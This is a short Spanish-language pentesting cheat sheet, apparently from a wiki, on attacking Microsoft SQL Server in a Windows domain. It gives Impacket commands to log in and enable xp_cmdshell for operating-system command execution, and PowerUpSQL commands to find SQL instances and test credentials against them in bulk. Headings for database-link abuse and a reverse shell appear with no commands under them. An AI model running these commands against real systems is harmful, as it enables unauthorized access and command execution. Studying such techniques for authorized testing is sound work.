Microsoft SQL Server (MSSQL)

Linux/Unix

Impacket

# impacket-mssqlclient
mssqlclient.py <ACME.LOCAL>/<user>:"<password>"@<target> -windows-auth
enable_xp_cmdshell
xp_cmdshell whoami

Windows

PowerUpSQL

Descubrir instancias de SQL Server.

Get-SQLInstanceDomain

Obtener información de instancias de SQL Server.

Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose

Comprobar acceso a instancias de SQL Server dado un usuario y contraseña.

$SQLInstances = Get-SQLInstanceDomain -Verbose | Get-SQLConnectionTestThreaded -Verbose -Threads 10 -Username "<ACME.LOCAL>\<user>" -Password "<password>" | Where-Object {$_.Status -like "Accessible"}
$SQLInstances

Comprobar acceso a instancias de SQL Server utilizando la cuenta de usuario actual.

Ejecución de consultas SQL.

Obtener links de bases de datos.

Rastrear links de bases de datos.

Ejecución de comandos utilizando links de bases de datos.

Reverse shell utilizando links de bases de datos.

Última actualización

¿Te fue útil?